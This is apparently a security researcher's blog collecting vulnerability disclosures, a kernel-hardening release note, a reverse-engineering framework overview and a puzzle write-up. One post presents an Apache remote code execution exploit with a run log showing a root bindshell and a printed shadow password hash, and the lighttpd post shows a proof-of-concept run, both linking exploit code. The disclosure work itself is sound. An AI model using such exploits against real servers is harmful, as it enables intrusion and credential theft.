Some time ago I’ve found an interesting memory corruption bug (via integer overflow) in the mechanism responsible for parsing XMSS private keys. This bug is addressed in the latest OpenSSH released version (8.1) and more details about the bug can be found here:


CVE-2019-16905 – OpenSSH Pre-Auth XMSS Integer Overflow

Best regards,
Adam

Some time ago I took a look at i915 driver a bit. During my research I had found a few problems which had been fixed. Today (14th of May 2019), Intel announced the fix for reported security bug in i915 driver when Graphical Virtualization (GVT) is enabled under KVM (CVE-2019-11085 / INTEL-SA-00249). To be more specific, Intel’s vGPU driver allows for mappinng of arbitrary physical page into the context of calling process via mmap()

Additionally, Linux kernel community fixed two other bugs:

“[1/2] drm/i915: Prevent a race during I915_GEM_MMAP ioctl with WC set”
https://patchwork.kernel.org/patch/10750161/

“[2/2] drm/i915: Handle vm_mmap error during I915_GEM_MMAP ioctl with WC set”
https://patchwork.kernel.org/patch/10750163/

These bugs are pretty interesting from the pure research perspective so it is worth to take a look at the published patches.

Thanks,
Adam

19

Feb

by pi3

Hi,

We’ve just announced a new version of LKRG 0.6! This release is… BIG! A few words why:

- We've introduced a new mitigation features which we call "poor's man CFI" (pCFI). It is designed to "catch" exploits which corrupts stack pointer to execute ROP and/or execute code not from the official .text section of the kernel (e.g. from the heap page, or user-mode page)
- We are using pCFI to enforce SMEP bit in CR4 and WP bit in CR0. If attacker disables one of that bits, LKRG will re-enable it again
- We've locked-down usermodehelper (UMH) interface - it will kill "class" of exploit abusing UMH
- We've completely rewrote *_JUMP_LABEL support - now it is independent of CPU architecture and can work on any CPU. Previously it was designed for x86 arch. New *_JUMP_LABEL support logic significantly reduce memory footprint, remove whitelisting, simplifies some algorithms and so on...
- We've introduce early boot systemd script/unit. Now you can easily manage LKRG service as any other service in the system. Systemd is the only init system which we support for now, but there is no reason to add support for other systems.
- We've fixed a few known problems with LKRG and made it more stable
- We've made all necessary changes to run LKRG on latest kernels
- A few more!

It’s a big release with a lot of changes. Full announcement can be found here:
https://www.openwall.com/lists/announce/2019/02/19/1

Next, I would like to work on ARM support for LKRG. Stay tuned….

18

Apr

by pi3

During Microsoft Patch Tuesday on April (2017) some of the Hyper-V vulnerabilities (found be me) were fixed:

Remote Code Execution – CVE-2017-0181 (details)
Denial of Service – CVE-2017-0182 (details)
Denial of Service – CVE-2017-0186 (details)

23

Sep

by pi3

Linux kernel programming is always a challenge. Especially, when you are playing with very low-level functionality (like manually sending IPI between the CPUs/cores). Unfortunately, this specific functionality kept making troubles for me for a couple of weeks and I haven’t found ANY information on the internet regarding the issue which I hit/met. That’s why I decided it could be useful for other people if I describe my journey with the APIs like smp_call_function_single() / on_each_cpu(), NMI watchdog which can kill correct task and do not inform about problematic CPU/core etc. I’ve been discussing this issue with Alexander (Solar Designer) and he has started a discussion about that on Linux Kernel Mailing List (LKML) which you can find here:

http://lkml.iu.edu/hypermail/linux/kernel/1609.2/03265.html

Thanks,
Adam

Hi,

The journey into CVE-2014-9322 is not straightforward but it is worth to spend some time on it and analyze all available information. I will try my best…

Read more

20

Feb

by pi3

As some of you know I am(was) active developer in ERESI project. ERESI stands for The ERESI Reverse Engineering Software Interface, its web page stands at: www.eresi-project.org.

eresi-logo

 

For those who do not know the project, The ERESI Reverse Engineering Software Interface is a multi-architecture binary analysis framework with a domain-specific language tailored to reverse engineering and program manipulation.

  • Feature both user-mode and kernel-mode support for instrumentation, debugging and program analysis
  • Handle INTEL and SPARC machine programs (partial support for ARM, MIPS and ALPHA processors).
  • Designed for analysis of Operating Systems based on the Executable & Linking Format (ELF) in particular on the Linux OS.
  • Support many features on *BSD, Solaris, HP-UX, IRIX and BeOS.
  • Trace into any OS in a virtual machine or emulator using the GDB serial protocol.
  • Construct and display program graphs in native code as well as Intermediate Representation (IR) code
  • Does not need symbols or debug info to operate most of its features (but will use them if available in ELF/DWARF/STABS)
  • Inject or debug code that runs without executable data segment (PaX, Openwall, etc)
  • Prone modularity and reuse of code.

Here are the main programs that compose the ERESI framework:

  • elfsh : An interactive and scriptable static program instrumentation tool for ELF binary files.
  • kernsh: An interactive and scriptable runtime kernel instrumentation tool for live code injection, modification and redirection.
  • e2dbg : An interactive and scriptable high-performance process debugger that works without standard OS debug API (without ptrace).
  • •etrace : A scriptable runtime process tracer working at full frequency of execution without generating traps.
  • kedbg: An interactive and scriptable OS-wide debugger interfaced with the GDB server, VMware, Qemu, Boches and OpenOCD (JTAG) via the GDB serial protocol.
  • Evarista: A work-in-progress static binary program transformer entirely implemented in the ERESI language.

Beside those top-level components, ERESI contains various libraries that can be used from one of the previously mentioned tools, or in a standalone third-party program:

  • libelfsh : the binary manipulation library used by ELFsh, Kernsh, E2dbg, and Etrace.
  • libe2dbg : the embedded debugger library operating within the debuggee program.
  • libasm : the smart disassembling engine (x86, sparc, mips, arm) that gives both syntactic and semantic attributes to instructions and their operands.
  • libmjollnir : the control flow analysis and fingerprinting library.
  • librevm : the Runtime ERESI virtual machine, that contains the central runtime environment implementation of the framework.
  • libstderesi : the standard ERESI library containing more than 100 built-in analysis commands.
  • libaspect : the aspect library brings its API to reflect code and data structures in the ERESI language.
  • libedfmt : the ERESI debug format library which can convert dwarf and stabs debug formats to the ERESI debug format.
  • libetrace : the ERESI tracer library, on which Etrace is based.
  • libkernsh : the Kernel shell library is the kernel accessibility library on which Kernsh is based.
  • libgdbwrap : The GDB serial protocol library, for compatibility between ERESI and GDB/VMware/Boches/QeMu/OpenOCD.

ERESI is quite famous project. Many technical articles about ERESI was published on the phrack (#61, #63). In 2007 ERESI team gave a talk at Blackhat European Conference. In 2008 we gave invited talk at the SSTIC conference.

ERESI active development has restart as of February 2013. Most of our developers was very busy for last few years and unfortunately project wasn’t on the top of our priority. I hope now we will be able to finish our ideas and make up for lost time…

 

Best regards,

Adam

I haven’t been posting on this blog for a while. It doesn’t mean I’m not doing research – I’m just not a big fan of releasing anything and most of my work stays private. Anyway because Apache released new version of their Http Server one of my research was burned. New version of Apache fixes remote code execution vulnerability in default instalation! This vulnerability is quite old and have been exploited in the wild for last 5 years 🙂

This vulnerability is fixed and no longer be 0day I decided to publish exploit code for this bug. How is it work? Find below:

pi3-darkstar ~ # gcc Apache_0day.c -o Apache_0day
pi3-darkstar ~ # ./Apache_0day -h

    ...::: -=[ Apache 2.2.xx 0day exploit  (by Adam 'pi3' Zabrocki) ]=- :::...

    Usage: ./Apache_0day <options>

        Options:
             -v <victim>
             -p <port>
             -h this help screen

 pi3-darkstar ~ # ./Apache_0day -v xxx.gov

    ...::: -=[ Apache 2.2.xx 0day exploit  (by Adam 'pi3' Zabrocki) ]=- :::... 

            [+] Host alive? ... YES!
            [+] Connecting... DONE!
            [+] Checking server... VULNERABLE!
            [+] Calculating zones... DONE!
            [+] Let's play with APR allocator....................................................................................................
................................................................................................................................................................
.................................................................................................... DONE!
            [+] Spawning childs................................................................................... DONE!
            [+] Addresses? ... YES!
                    [+] @APR child 1... DONE! (0xffffffffbffffe01)
                    [+] @APR child 2... DONE! (0xffffffffbceffe01)
            [+] Trying ret-into-system...
            [+] Connecting to bindshell...

pi3 was here :-) Executing shell...
uid=0(root) gid=0(root) grupy=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel) Linux pi3-test 2.6.32.13-grsec #1 SMP Thu May 13 17:07:21 CEST 2010 i686 i686 i386 GNU/Linux
# cat /etc/shadow|head -1
root:$6$vxdYpCQF$0qPMKMwxwVxLGNSZbOUYxK0n33C2lxCPdQq5n5rtr70dNkNPjEWCmjvKCZOKVP.cOM2PMc3JtOruts7F53/hp.:15104:0:::::
# exit;!

Looks nice, isn’t it? 🙂 Now realize it was used in the wild for last 5 years… so better check your machine if no rootkits was installed 🙂

As I promised at the beginning of this post, here is the exploit code: Apache 0day.

 

Best regards,

Adam Zabrocki

29 of November 2011 was the date of public disclosure interesting vulnerability in lighttpd server. Xi Wang discovered that mod_auth for this server does not propely decode characters from the extended ASCII table. The vulnerable code is below:

"src/http_auth.c:67"
--- CUT ---
static const short base64_reverse_table[256] = ...;
static unsigned char * base64_decode(buffer *out, const char *in) {
    ...
    int ch, ...;
    size_t i;
    ...

        ch = in[i];
        ...
        ch = base64_reverse_table[ch];
    ...
}
--- CUT ---

Because variable ‘in’ is type ‘char’, characters above 0x80 lead to negative indices. This vulnerability may lead out-of-boud read and theoretically cause Segmentation Fault (Denial of Service attack). Unfortunately I couldn’t find any binaries where .rodata section before the base64_reverse_table table cause this situation.

I have added some extra debug in the lighttpd source code to see if this vulnerability is executed correctly. Here is output for one of the example:

--- CUT ---
ptr[0x9a92c48] size[0xc0] used[0x0]
127(. | 0 | 0)
-128(t | 1 | 0)
-127(e | 2 | 1)
-126(' | 3 | 2)
-125(e | 4 | 3)
-124(u | 5 | 3)
-123(r | 6 | 4)
-122(' | 7 | 5)
-121(s | 8 | 6)
-120(c | 9 | 6)
-119(i | 10 | 7)
-118(n | 11 | 8)
-117(i | 12 | 9)
-116(  | 13 | 9)
-115(a | 14 | 10)
-114(t | 15 | 11)
-113(. | 16 | 12)
-112(e | 17 | 12)
-111(u | 18 | 13)
-110(r | 19 | 14)
-109(' | 20 | 15)
-108(f | 21 | 15)
-107(i | 22 | 16)
-106(e | 23 | 17)
-105(: | 24 | 18)
-104(= | 25 | 18)
-103(o | 26 | 19)
-102(t | 27 | 20)
-101(o | 28 | 21)
-100(  | 29 | 21)
-99(a | 30 | 22)
-98(g | 31 | 23)
-97(. | 32 | 24)
-96(d | 33 | 24)
-95(g | 34 | 25)
-94(s | 35 | 26)
-93(: | 36 | 27)
-92(u | 37 | 27)
-91(s | 38 | 28)
-90(p | 39 | 29)
-89(o | 40 | 30)
-88(t | 41 | 30)
-87(d | 42 | 31)
-86(b | 43 | 32)
-85(c | 44 | 33)
-84(e | 45 | 33)
-83(d | 46 | 34)
-82(( | 47 | 35)
-81(n | 48 | 36)
-80(y | 49 | 36)
-79(h | 50 | 37)
-78(d | 51 | 38)
-77(g | 52 | 39)
-76(s | 53 | 39)
-75(  | 54 | 40)
-74(r | 55 | 41)
-73(p | 56 | 42)
-72(a | 57 | 42)
-71(n | 58 | 43)
-70(. | 59 | 44)
-69(. | 60 | 45)
-68(d | 61 | 45)
-67(g | 62 | 46)
-66(s | 63 | 47)
-65(: | 64 | 48)
-64(( | 65 | 48)
-63(d | 66 | 49)
-62(- | 67 | 50)
-61(e | 68 | 51)
-60(s | 69 | 51)
-59(  | 70 | 52)
-58(i | 71 | 53)
-57(s | 72 | 54)
-56(n | 73 | 54)
-55(  | 74 | 55)
-54(i | 75 | 56)
-53(l | 76 | 57)
-52(. | 77 | 57)
-51(. | 78 | 58)
-50(k | 79 | 59)
-49(0 | 80 | 60)
-48(% | 81 | 60)
-47(] | 82 | 61)
-46(p | 83 | 62)
-45(r | 84 | 63)
-44(0 | 85 | 63)
-43(% | 86 | 64)
-42(] | 87 | 65)
-41(s | 88 | 66)
-40(z | 89 | 66)
-39([ | 90 | 67)
-38(x | 91 | 68)
-37(x | 92 | 69)
-36(  | 93 | 69)
-35(s | 94 | 70)
-34(d | 95 | 71)
-33(0 | 96 | 72)
-32(% | 97 | 72)
-31(] | 98 | 73)
-30(. | 99 | 74)
-29(. | 100 | 75)
-28(d | 101 | 75)
-27(c | 102 | 76)
-26(d | 103 | 77)
-25(i | 104 | 78)
-24(g | 105 | 78)
-23(b | 106 | 79)
-22(s | 107 | 80)
-21(6 | 108 | 81)
-20(- | 109 | 81)
-19(t | 110 | 82)
-18(i | 111 | 83)
-17(g | 112 | 84)
-16(f | 113 | 84)
-15(i | 114 | 85)
-14(e | 115 | 86)
-13(. | 116 | 87)
-12(. | 117 | 87)
-11(. | 118 | 88)
-10(. | 119 | 89)
-9(. | 120 | 90)
-8(. | 121 | 90)
-7(. | 122 | 91)
-6(. | 123 | 92)
-5(. | 124 | 93)
-4(. | 125 | 93)
-3(. | 126 | 94)
-2(. | 127 | 95)
-1(. | 128 | 96)
k[0x60] ptr[0x9a92c48] size[0xc0] used[0x0]
ptr[0x9a92c48] size[0xc0] used[0x60]
string [.Yg.\...n.Xt.]r.ze.....g.Y..\..Yb.Y(..d..r.[..Y...-.xi..i.]
--- CUT ---

First column is the offset so vulnerability is executed like it should be (negative offsets). Second column is byte which is read out-of-bound.

How to run this very primitive Proof of Concept?

$ gcc p_cve-2011-4362.c -o p_cve-2011-4362
$ ./p_cve-2011-4362 

    ...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki) ]=- :::...

    Usage: ./p_cve-2011-4362 <options>

        Options:
             -v <victim>
             -p <port>
             -d <remote_dir_for_auth>

$ ./p_cve-2011-4362 -h 127.0.0.1 -p 81 -d dupa

    ...::: -=[ Proof of Concept for CVE-2011-4362 (by Adam 'pi3' Zabrocki) ]=- :::...

        [+] Preparing arguments... OK
        [+] Creating socket... OK
        [+] Connecting to [127.0.0.1]... OK
        [+] Sending dirty packet... OK

        [+] Check the website!

$

Lighttpd will log this situation probably in error-log file like this:

--- CUT ---
...
...
2011-12-xx xx:xx:11: (http_auth.c.887) : is missing in ÇYg\§ÎúnöXt¾]rzeëÛô¾gYóï\ðÿYbîY(¿dßørÖ[YóúÙ-·xiþèi°kÂWpË    ]߶øò\äÂ×@VØä¦xóúÝize
--- CUT ---

Maybe you can find vulnerable binary?

Best regards,
Adam ‘pi3’ Zabrocki


http://pi3.com.pl
http://site.pi3.com.pl/exp/p_cve-2011-4362.c
http://blog.pi3.com.pl/?p=277

Second level of GCHQ ‘canyoucrackit’ challenge requires to implement own Virtual Machine(!). This VM must emulate segmented memory model with 16-byte segment size (notation seg:offset). For details please read this link:

http://www.canyoucrackit.co.uk/15b436de1f9107f3778aad525e5d0b20.js

I wrote quick overview about this challenge, how to solve it and some tips. It can be found here:

http://blog.pi3.com.pl/?p=213

Anyway, I am impressed how many people saw this post and how fast this link was shared in community 🙂 Of course I’m happy of that but also a bit terrified. Anyway, in this short post I didn’t put much details about how to implement this VM, if there is any difficulties, etc. This was one of the reason I received a few emails asking some help to solve it. This is the reason why I decide finally write this second post. I want to share with my VM which i wrote in pure C (I love this language). To be honest I didn’t implement it at the beginning like it is here. I found some implementation in the http://pastebin.com webpage in python language. Unfortunately it has some mistakes (in fact serious mistakes). This was the reason why this machine didn’t work properly and in fact after a few instruction put exceptions and of course whole VM stops. I spend some time to fix it and I did it. After rewriting this machine, python VM starts working. This machine had a few problems like doesn’t correct  implement the most important instructions (JMP and JMPE). Also there was mistakes in take care about MOD flag. Another bug was that CS and DS register can be used in operations like ADD via normal operand argument as register. Also operations which use addressing [seg:off] must especially take care if the arguments are inside of the SEGMENT, if not make them fix. In fact this was critical bugs.

Anyway because of that I rewrote almost whole program so after all I decide, OK let’s do that in my way and this was the point why I implement everything again in C. Here you have got my VM in pure C:

http://site.pi3.com.pl/exp/pi3_VM.c

 

Btw. In fact this challenge is NOT finished yet… Maybe it was mistake to publish solution BEFORE end of it? I feel a bit guilty.

 

Best regards,

Adam Zabrocki